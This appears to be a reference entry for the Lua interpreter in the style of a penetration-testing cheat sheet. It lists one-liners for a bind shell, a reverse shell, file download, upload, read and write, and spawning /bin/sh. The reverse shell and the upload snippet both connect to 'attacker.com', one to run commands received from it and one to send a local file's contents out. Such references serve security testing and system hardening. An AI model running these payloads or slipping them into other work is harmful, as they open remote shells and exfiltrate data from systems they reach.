lua
Bind Shell
This requires `lua-socket` to be available.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
Download
This requires `lua-socket` to be available.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open("/path/to/output-file", "wb");
f:write(d);
io.close(f);'
File Read
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
File Write
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
Reverse Shell
This requires `lua-socket` to be available.
lua -e '
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
Shell
lua -e 'os.execute("/bin/sh")'
Upload
This requires `lua-socket` to be available.
lua -e '
local f=io.open("/path/to/input-file", "rb")
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
t:send(d);
t:close();'